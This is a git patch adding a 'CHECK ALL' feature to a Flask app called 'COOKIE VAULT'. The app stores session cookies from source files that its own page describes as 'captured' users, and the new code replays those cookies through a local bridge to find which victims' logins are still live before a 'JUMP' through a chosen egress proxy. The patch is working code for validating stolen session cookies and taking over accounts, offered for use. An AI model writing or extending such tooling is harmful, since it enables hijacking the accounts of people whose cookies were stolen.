From 3be3e84e899501c2856798f1c49ad74c777aedec Mon Sep 17 00:00:00 2001 From: drjones Date: Fri, 25 Sep 2026 21:32:11 -0700 Subject: [PATCH] =?UTF-8?q?v9:=20CHECK=20ALL=20=E2=80=94=20auto-login-stat?= =?UTF-8?q?us=20sweep=20across=20every=20session=20(cookie-jar=20retention?= =?UTF-8?q?=20+=20DOM=20markers),=20live=20status=20column?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- app.py | 68 ++++++++++++++++++++++- launcher_bridge.py | 134 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 199 insertions(+), 3 deletions(-) diff --git a/app.py b/app.py index 5e908d5..08cceb3 100644 --- a/app.py +++ b/app.py @@ -375,6 +375,61 @@ def _smart_scan(root): # ---------------- LOGIN (session-1 bridge) ---------------- +CHECK_STATE = {} # file -> {status, detail} +CHECK_LOCK = threading.Lock() + +@app.route("/check_all") +def check_all(): + domain = request.args.get("domain", "").strip() + if not domain: + return redirect(url_for("index")) + stem = domain.strip(".") + c = db() + sess = c.execute("""SELECT source_file FROM cookies WHERE domain LIKE ? + GROUP BY source_file LIMIT 300""", ("%" + stem + "%",)).fetchall() + c.close() + files = [s[0] for s in sess] + with CHECK_LOCK: + for f in files: + CHECK_STATE.setdefault(f, {"status": "queued", "detail": ""}) + threading.Thread(target=_run_checks, args=(domain, files), daemon=True).start() + return redirect(url_for("sessions", domain=domain, checking=1)) + +def _run_checks(domain, files): + stem = domain.strip(".") + for f in files: + with CHECK_LOCK: + CHECK_STATE[f] = {"status": "checking", "detail": ""} + try: + c = db() + rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies + WHERE domain LIKE ? AND source_file = ? LIMIT 500""", + ("%" + stem + "%", f)).fetchall() + c.close() + if not rows: + with CHECK_LOCK: + CHECK_STATE[f] = {"status": "empty", "detail": "no cookies"} + continue + payload = {"domain": domain, "proxy": "", "cookies": [ + {"domain": r[0], "name": r[1], "value": r[2], "path": r[3], + "expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]} + req = urllib.request.Request("http://127.0.0.1:5067/check", + data=json.dumps(payload).encode(), + headers={"Content-Type": "application/json"}) + with urllib.request.urlopen(req, timeout=90) as r: + res = json.load(r) + with CHECK_LOCK: + CHECK_STATE[f] = {"status": res.get("status", "error"), + "detail": res.get("detail", "")[:150]} + except Exception as e: + with CHECK_LOCK: + CHECK_STATE[f] = {"status": "error", "detail": str(e)[:150]} + +@app.route("/check_status") +def check_status(): + with CHECK_LOCK: + return jsonify(CHECK_STATE) + @app.route("/sessions") def sessions(): domain = request.args.get("domain", "").strip() @@ -388,13 +443,16 @@ def sessions(): ("%" + stem + "%",)).fetchall() total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0] c.close() - return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total) + return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total, + checks=dict(CHECK_STATE), checking=request.args.get("checking")) SESSIONS_PAGE = STYLE + r"""Sessions — COOKIE VAULT
👤 sessions for {{domain}}
+⚡ CHECK ALL ← back
-
{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.
+{% if checking %}{% endif %} +
{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP. Check All walks every session and reports login status (page auto-refreshes while checking).
egress: